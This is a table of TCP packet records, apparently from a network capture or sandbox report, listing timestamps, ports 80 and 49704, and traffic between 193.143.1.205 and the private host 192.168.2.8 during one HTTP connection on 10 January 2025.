Jan 10, 2025 20:02:58.248519897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.248533964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.248533964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.248555899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.248573065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.248594046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.248861074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.248975992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.249082088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.249116898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.249152899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.249169111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.249188900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.249224901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.249273062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.249273062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.250030041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.289026022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.289067984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.289104939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.289140940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.289175034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.289202929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.289202929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.289213896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.289267063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.303908110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.303946972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.303985119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.304023981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.304029942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.304105997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.337074041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337117910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337176085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337213993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337220907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.337249041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337285995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337338924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337342024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.337342024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.337399960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337435961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337471008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337506056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337531090 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.337544918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337575912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337594032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.337609053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337645054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337657928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.337657928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.337680101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337722063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337754965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337790966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337795019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.337795019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.337825060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337860107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337894917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.337944984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.337944984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.343343973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.353653908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.370299101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.370340109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.370402098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.370446920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.370456934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.370497942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.370532036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.370553970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.370589018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.370630980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.370666981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.370686054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.370686054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.370701075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.370738029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.370774984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.370784044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.370811939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.370842934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.370851040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.370882034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.370920897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.370923996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.370969057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.370995998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371031046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371067047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371107101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371159077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371181011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.371181011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.371195078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371254921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371264935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.371308088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371370077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371403933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371439934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371465921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.371465921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.371474981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371510029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371545076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371582031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371598005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.371598005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.371722937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371757984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371793032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371825933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371845961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.371845961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.371862888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371897936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371922970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.371934891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371968985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.371990919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.372004032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372040033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372076988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372112036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372123003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.372123003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.372169971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372221947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372236967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.372275114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372311115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372344017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372378111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372409105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.372409105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.372412920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372448921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372483015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372518063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372536898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.372536898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.372554064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372590065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372623920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372658968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.372659922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.372675896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.376687050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.376723051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.376759052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.376782894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.376796007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.376825094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.376832962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.376868010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.376904011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.376939058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.376952887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.376952887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.376972914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377010107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377043962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377082109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377096891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.377096891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.377116919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377151966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377186060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377226114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377243042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.377243042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.377279043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377327919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377362967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377398014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377423048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.377423048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.377433062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377465963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377521038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377556086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377574921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.377574921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.377592087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377631903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377661943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.377684116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.378307104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.381160975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.381174088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.381186008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.381280899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.381299973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.381314993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.381326914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.381336927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.381336927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.381340027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.381392002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.381392002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.396305084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.396348953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.396385908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.396415949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.396420956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.396460056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.396496058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.396508932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.396533966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.396564960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.399204969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.405831099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.429631948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.429704905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.429761887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.429796934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.429843903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.429843903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.429851055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.429887056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.429904938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.429923058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.429958105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.429995060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.430026054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.430042028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.430042028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.430061102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.430097103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.430140972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.430176020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.430188894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.430188894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.430210114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.430246115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.430279970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.430318117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.430335045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.430335045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.430351019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.430387020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.430399895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.430421114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.430468082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.430476904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.462997913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.463063955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.463095903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.463115931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.463171005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.463172913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.463208914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.463260889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.463262081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.463299036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.463342905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.463638067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.463675022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.463727951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.463774920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.463785887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.463812113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.463845968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.463880062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.463888884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.463888884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.463916063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.463952065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.463985920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464008093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.464021921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464061022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464096069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464098930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.464114904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.464131117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464165926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464200020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464235067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464253902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.464253902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.464270115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464307070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464351892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464385986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464397907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.464397907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.464421034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464468956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.464500904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464555979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464591026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464607954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.464627981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464680910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464716911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464751005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464756966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.464776039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.464788914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464824915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464858055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.464873075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464906931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464920044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.464946032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.464987993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.464998007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465033054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465068102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465076923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.465101004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465137005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465164900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.465173960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465209007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465241909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465254068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.465276003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465293884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.465311050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465347052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465384007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465419054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465430975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.465430975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.465462923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465500116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465534925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465569019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.465583086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465616941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465652943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465662003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.465662003 CET	49704	80	192.168.2.8	193.143.1.205
